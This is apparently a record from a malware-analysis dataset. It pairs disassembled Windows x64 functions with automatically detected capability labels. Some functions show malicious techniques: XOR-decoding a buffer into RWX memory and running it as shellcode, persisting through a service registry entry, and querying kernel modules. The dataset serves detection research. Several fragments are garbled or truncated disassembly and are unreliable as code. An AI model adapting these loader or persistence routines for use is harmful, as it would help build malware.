joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400e9ff0
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400ea032
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400ea079
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400ea0d2
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400ea090
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400ea113
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400fe8eb]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400fe8ec]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400ea0e0
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400eb0a0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400eb0ea
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400eb0ea
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400eb0ea
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400eb0ea
cmp dword [rcx + 0x84], 0xe
jbe 0x1400eb0ea
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400eb0ec
xor al, al
add rsp, 0x28
ret
Function at 0x1400ebae4
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x1400ebb1e
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x1400ebb23
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400ebb6c
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, reloc.WS2_32.dll_accept
cmp byte [rcx + rax], 0
je 0x1400ebb6c
dec r8
sub rdx, 1
jne 0x1400ebb52
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x140001000
Capabilities:
Get system information on windows
Load ntoskrnl
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x40
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov r14, rcx
mov dword [rsp + 0x28], 0
xor edi, edi
lea r9, [rsp + 0x28]
xor r8d, r8d
xor edx, edx
lea ecx, [rdi + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140001099
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rsp + 0x28]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsp + 0x28]
lea r9, [rsp + 0x28]
mov rdx, rax
mov ecx, 0xb
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140001050
test eax, eax
js 0x1400010e9
xor ebx, ebx
cmp dword [rdi], ebx
jbe 0x1400010e9
lea rsi, [rdi + 0x2e]
nop word [rax + rax]
movzx ecx, word [rsi]
lea rdx, [0x140005518]
add rcx, 0x30
movsxd rax, ebx
imul rbp, rax, 0x128
add rcx, rbp
add rcx, rdi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x14000116c
inc ebx
add rsi, 0x128
cmp ebx, dword [rdi]
jb 0x1400010b0
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
xor edx, edx
lea rcx, [0x140005528]
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov dword [rsp + 0x20], 0xd38b48ff
xor edi, edi
mov rbp, rax
mov word [rsp + 0x24], 0x8d4c
mov byte [rsp + 0x26], 5
mov r10d, 0x1000000
lea r9, [rax + 4]
nop dword [rax]
nop word [rax + rax]
xor ecx, ecx
lea rax, [rsp + 0x24]
mov r8, r9
lea rdx, [rsp + 0x20]
sub r8, rax
movzx eax, byte [r8 + rdx]
cmp byte [rdx], al
jne 0x14000118a
cmp ecx, 6
je 0x140001187
inc ecx
inc rdx
cmp ecx, 7
jb 0x140001152
jmp 0x14000118a
mov rsi, qword [rdi + rbp + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1400010fc
mov rdi, r9
inc r9
sub r10, 1
jne 0x140001140
mov ebx, dword [rdi + 3]
lea rdx, str.ZwFlushInstructionCache
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rsi
add rsi, 0x27
sub rcx, rbp
add rax, rcx
mov ecx, ebx
sub rcx, rbp
mov qword [r14 + 8], rax
add rcx, rdi
mov rax, r14
add rcx, rsi
mov qword [r14], rcx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.140003520
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400011f0
Capabilities:
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rsi
push rdi
push r14
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov r14, rdx
lea r8, str.RegistryMachineSystemCurrentControlSetServices_
mov rbx, rdx
mov edi, 0x34
mov rsi, rcx
lea edx, [rdi + 1]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
movzx ecx, word [rbx]
mov rdx, rbx
test cx, cx
je 0x140001281
nop dword [rax + rax]
add rdx, 2
cmp cx, 0x5c
mov rax, rdx
cmovne rax, rbx
movzx ecx, word [rdx]
mov rbx, rax
test cx, cx
jne 0x140001240
movzx ecx, word [rax]
test cx, cx
je 0x140001281
lea rax, [rsi + 0x68]
cmp cx, 0x2e
je 0x140001281
add rbx, 2
mov word [rax], cx
inc edi
add rax, 2
movzx ecx, word [rbx]
test cx, cx
jne 0x140001266
movsxd rax, edi
xor ecx, ecx
mov rdx, rsi
mov word [rsi + rax*2], cx
call qword [sym.imp.ntdll.dll_RtlCreateRegistryKey]
test eax, eax
js 0x140001347
lea r8, [0x140005560]
mov dword [rsp + 0x30], 1
mov edx, 5
lea rcx, [rsp + 0x40]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
mov r8, r14
lea rcx, [rsp + 0x40]
mov edx, 0x87
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
lea rcx, [rsp + 0x40]
mov rax, 0xffffffffffffffff
nop dword [rax]
cmp word [rcx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x1400012e0
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
lea r8, str.ImagePath
lea rax, [rsp + 0x40]
mov rdx, rsi
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
test eax, eax
js 0x140001347
lea rax, [rsp + 0x30]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlWriteRegistryValue]
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140003520
mov rbx, qword [rsp + 0x290]
add rsp, 0x260
pop r14
pop rdi
pop rsi
ret
Function at 0x140003f90
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, rdx
mov rsi, qword [rbp + 0x70]
mov rdi, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x60]
mov ebx, ecx
shr ebx, 8
lea r8, [rax + r8*2]
xor r11d, r11d
mov r15, rax
movzx r14d, byte [rax + 1]
add rax, 2
lea r10, [r11 + r14]
cmp byte [r15], bl
jne 0x140004010
cmp r11, r10
ja 0x140004087
cmp r10, rdx
ja 0x140004099
add r11, r9
xor r15d, r15d
nop dword [rax + rax]
cmp r14, r15
je 0x140004012
lea r12, [r15 + 1]
cmp byte [r11 + r15], cl
mov r15, r12
jne 0x140003ff0
jmp 0x140004074
ja 0x14000401a
mov r11, r10
cmp rax, r8
jne 0x140003fbe
add rsi, rdi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea r8, [rdi + 1]
movzx edx, byte [rdi]
test dl, dl
js 0x140004050
mov rdi, r8
sub ecx, edx
jns 0x14000406b
jmp 0x140004076
cmp r8, rsi
je 0x1400040a8
movzx r8d, byte [rdi + 1]
add rdi, 2
and edx, 0x7f
shl edx, 8
or edx, r8d
sub ecx, edx
js 0x140004076
xor al, 1
cmp rdi, rsi
jne 0x140004030
jmp 0x140004076
xor eax, eax
and al, 1
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r11
mov rdx, r10
call fcn.140014740
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.1400145b0
lea rcx, str.librarycore_srcunicodeprintable.rs
call fcn.140014840
int3

Function at 0x140008190
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
mov rax, rdx
sub rdx, rcx
cmp rdx, 0x20
jae 0x1400081b5
cmp rax, rcx
je 0x1400081bb
cmp rdx, 4
jae 0x1400081c2
xor eax, eax
xor r8d, r8d
jmp 0x140008260
pop rbp
jmp fcn.140001730
xor eax, eax
jmp 0x140008277
mov r8d, edx
and r8d, 0x1c
pxor xmm0, xmm0
xor eax, eax
movdqa xmm2, xmmword [0x140016350]
movdqa xmm3, xmmword [0x140016360]
pxor xmm1, xmm1
nop word cs:[rax + rax]
movzx r9d, word [rcx + rax]
movd xmm4, r9d
movzx r9d, word [rcx + rax + 2]
movd xmm5, r9d
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm0, xmm4
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm4, xmm5, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm1, xmm4
add rax, 4
cmp r8, rax
jne 0x1400081f0
paddq xmm1, xmm0
pshufd xmm0, xmm1, 0xee
paddq xmm0, xmm1
movq rax, xmm0
cmp r8, rdx
je 0x140008277
nop dword [rax]
xor r9d, r9d
cmp byte [rcx + r8], 0xc0
setge r9b
add rax, r9
inc r8
cmp rdx, r8
jne 0x140008260
pop rbp
ret
Function at 0x14000f020
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
movzx r9d, byte [rdx + 0x38]
movzx eax, byte [rdx + 0x3a]
cmp al, byte [rax + r8*8 - 0x3f6af0bf]

Function at 0x140013f84
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x140013fce
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140013fce
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140013fce
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140013fce
cmp dword [rcx + 0x84], 0xe
jbe 0x140013fce
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140013fd0
xor al, al
add rsp, 0x28
ret
Function at 0x140007204
Capabilities:
Terminate thread

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
call fcn.140007194
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateThread]
lea rcx, [0x140021210]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140020640]
jmp 0x140007240
cmp qword [rbx + 0x18], rdi
je 0x140007247
mov rbx, qword [rbx]
test rbx, rbx
jne 0x140007237
jmp 0x140007261
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbx + 0x10]
lea rcx, [0x140020640]
call fcn.1400123b8
lea rcx, [0x140021210]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
Function at 0x140006030
Capabilities:
Initialize winsock library

Disassembly:
push rsi
sub rsp, 0x1c0
mov rax, qword [0x14006b0c0]
xor rax, rsp
mov qword [rsp + 0x1b8], rax
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
cmp eax, 0
sete al
and al, 1
movzx esi, al
mov rcx, qword [rsp + 0x1b8]
xor rcx, rsp
call fcn.14002e230
mov eax, esi
add rsp, 0x1c0
pop rsi
ret
Function at 0x14001c1f0
Capabilities:
Hash data using fnv

Disassembly:
sub rsp, 0x20
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp], rcx
mov qword [rsp + 8], 0
mov rax, qword [rsp + 8]
cmp rax, qword [rsp + 0x18]
jae 0x14001c250
mov rax, qword [rsp + 0x10]
mov rcx, qword [rsp + 8]
movzx eax, byte [rax + rcx]
xor rax, qword [rsp]
mov qword [rsp], rax
movabs rax, 0x100000001b3
imul rax, qword [rsp]
mov qword [rsp], rax
mov rax, qword [rsp + 8]
add rax, 1
mov qword [rsp + 8], rax
jmp 0x14001c20b
mov rax, qword [rsp]
add rsp, 0x20
ret

Function at 0x14001d0e0
Capabilities:
Get memory capacity

Disassembly:
push rbp
push rbx
sub rsp, 0x78
lea rbp, [rsp + 0x70]
mov rax, qword [0x14006b0c0]
xor rax, rbp
mov qword [rbp], rax
mov dword [rbp - 0x40], 0x40
lea rcx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp - 0x38]
shr rax, 0xa
shr rax, 0xa
mov dword [rbp - 0x44], eax
cmp dword [rbp - 0x44], 0xc18
jae 0x14001d134
pop rax
push rbx
je 0x14001d128
je 0x14001d12d
and dword [rcx + rsi], esi
xor dh, byte [rbx]
pop rbx
and dword [rcx + rsi], esi
xor dh, byte [rbx]
push rax
mov rcx, qword [rbp]
xor rcx, rbp
call fcn.14002e230
nop
add rsp, 0x78
pop rbx
pop rbp
ret

Function at 0x14001d150
Capabilities:
Identify system language via api

Disassembly:
push rbp
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov word [rbp + 6], ax
movzx eax, word [rbp + 6]
and eax, 0x3ff
cmp eax, 4
je 0x14001d1a7
lea rcx, [0x14006d010]
lea rdx, [0x1400616c2]
call fcn.1400063c0
lea rdx, [0x140006820]
mov rcx, rax
call fcn.140006870
pop rax
push rbx
je 0x14001d19b
je 0x14001d1a0
and dword [rcx + rsi], esi
xor dh, byte [rbx]
pop rbx
and dword [rcx + rsi], esi
xor dh, byte [rbx]
push rax
nop
add rsp, 0x28
pop rbx
pop rbp
ret
Function at 0x14001ff40
Capabilities:
Read file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x78
mov rax, qword [0x14006b0c0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x30], r8
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x50], rcx
mov rsi, qword [rsp + 0x50]
cmp qword [rsp + 0x30], 0
jg 0x14001ff7f
mov qword [rsp + 0x38], 0
jmp 0x1400200fb
cmp qword [rsi + 0x68], 0
je 0x14001ffa2
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x20]
mov rcx, rsi
call fcn.14001ef40
mov qword [rsp + 0x38], rax
jmp 0x1400200fb
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x48], rax
mov rcx, rsi
call fcn.14001f2b0
mov qword [rsp + 0x60], rax
xor eax, eax
cmp rax, qword [rsp + 0x60]
jae 0x14002002e
lea rcx, [rsp + 0x68]
lea rdx, [rsp + 0x60]
call fcn.140005df0
mov rax, qword [rax]
mov qword [rsp + 0x28], rax
mov rdi, qword [rsp + 0x28]
mov rcx, rsi
call fcn.14001f2e0
mov rcx, qword [rsp + 0x20]
mov rdx, rax
mov r8, rdi
call fcn.140005750
mov rax, qword [rsp + 0x28]
add rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov qword [rsp + 0x68], rcx
mov rdx, qword [rsp + 0x28]
mov rcx, rsi
call fcn.14001f300
cmp qword [rsi + 0x80], 0
je 0x1400200ec
mov rcx, rsi
call fcn.14001ed60
mov qword [rsp + 0x58], 0xfff
mov eax, 0xfff
cmp rax, qword [rsp + 0x68]
jae 0x1400200b9
mov r9, qword [rsi + 0x80]
mov rcx, qword [rsp + 0x20]
mov edx, 1
mov r8d, 0xfff
call fcn.14003a390
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
add rax, qword [rsp + 0x20]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov qword [rsp + 0x68], rcx
cmp qword [rsp + 0x40], 0xfff
je 0x1400200b7
mov rax, qword [rsp + 0x48]
sub rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
jmp 0x1400200fb
jmp 0x14002004d
xor eax, eax
cmp rax, qword [rsp + 0x68]
jae 0x1400200ea
mov r9, qword [rsi + 0x80]
mov r8, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x20]
mov edx, 1
call fcn.14003a390
mov rcx, qword [rsp + 0x68]
sub rcx, rax
mov qword [rsp + 0x68], rcx
jmp 0x1400200ec
mov rax, qword [rsp + 0x48]
sub rax, qword [rsp + 0x68]
mov qword [rsp + 0x38], rax
mov rsi, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14002e230
mov rax, rsi
add rsp, 0x78
pop rdi
pop rsi
ret

Function at 0x1400229f0
Capabilities:
Get common file path

Disassembly:
push rsi
sub rsp, 0x140
mov rsi, rcx
mov rax, qword [0x14006b0c0]
xor rax, rsp
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x28], rsi
lea rdx, [rsp + 0x30]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea rdx, [rsp + 0x30]
mov rcx, rsi
call fcn.140005120
mov rcx, qword [rsp + 0x138]
xor rcx, rsp
call fcn.14002e230
mov rax, rsi
add rsp, 0x140
pop rsi
ret
Function at 0x14002ab90
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0x78
mov rax, qword [0x14006b0c0]
xor rax, rsp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x3c], 0
mov dword [rsp + 0x34], 0
mov rax, qword [str.fdaufdiqe]
mov qword [rsp + 0x66], rax
mov ax, word [0x14005e938]
mov word [rsp + 0x6e], ax
mov dword [rsp + 0x54], 9
lea rcx, [0x14006bdb0]
mov edx, 0x22a
call fcn.140005fe0
mov dword [rsp + 0x3c], 0x22a
mov eax, dword [rsp + 0x3c]
add eax, 1
mov ecx, 2
cdq
idiv ecx
mov dword [rsp + 0x34], eax
movsxd rcx, dword [rsp + 0x34]
call fcn.14003ae8c
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov eax, dword [rsp + 0x30]
cmp eax, dword [rsp + 0x3c]
jge 0x14002ac6f
mov eax, dword [rsp + 0x30]
mov ecx, 2
cdq
idiv ecx
cmp edx, 0
jne 0x14002ac60
movsxd rax, dword [rsp + 0x30]
lea rcx, [0x14006bdb0]
mov al, byte [rcx + rax]
mov rcx, qword [rsp + 0x48]
movsxd rdx, dword [rsp + 0x38]
mov byte [rcx + rdx], al
mov eax, dword [rsp + 0x38]
add eax, 1
mov dword [rsp + 0x38], eax
jmp 0x14002ac62
mov eax, dword [rsp + 0x30]
add eax, 1
mov dword [rsp + 0x30], eax
jmp 0x14002ac1e
mov dword [rsp + 0x2c], 0
mov eax, dword [rsp + 0x2c]
cmp eax, dword [rsp + 0x34]
jge 0x14002acb5
mov eax, dword [rsp + 0x2c]
cdq
idiv dword [rsp + 0x54]
movsxd rax, edx
movsx eax, byte [rsp + rax + 0x66]
mov rcx, qword [rsp + 0x48]
movsxd rdx, dword [rsp + 0x2c]
movzx r8d, byte [rcx + rdx]
xor r8d, eax
mov byte [rcx + rdx], r8b
mov eax, dword [rsp + 0x2c]
add eax, 1
mov dword [rsp + 0x2c], eax
jmp 0x14002ac77
mov qword [rsp + 0x40], 0
movsxd rdx, dword [rsp + 0x34]
xor ecx, ecx
mov r8d, 0x3000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
jne 0x14002ace6
jmp 0x14002ad08
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
movsxd r8, dword [rsp + 0x34]
call fcn.140053e90
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x58], rax
call qword [rsp + 0x58]
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14002e230
nop
add rsp, 0x78
ret

Function at 0x14002da00
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x14002da3a
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14002da3f
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x14002da88
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140056960]
cmp byte [rcx + rax], 0
je 0x14002da88
dec r8
sub rdx, 1
jne 0x14002da6e
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret
Function at 0x14002edc8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002ee12
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002ee12
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002ee12
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002ee12
cmp dword [rcx + 0x84], 0xe
jbe 0x14002ee12
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002ee14
xor al, al
add rsp, 0x28
ret

Function at 0x14003541c
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x140035453
call fcn.140037b5c
mov dword [rax], socket
call fcn.140038ae8
xor eax, eax
jmp 0x1400354e1
mov rdx, r9
mov rcx, r8
call fcn.140035504
mov rbx, rax
test rax, rax
je 0x1400354de
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x140035568]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1400354cb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.140037b9c
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400354b2
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x1400354c1
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.1400409f0
jmp 0x1400354de
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400354db
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x14003563c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140035784
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400357f3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400357f3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400357f3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400357f3
mov eax, 0x20b
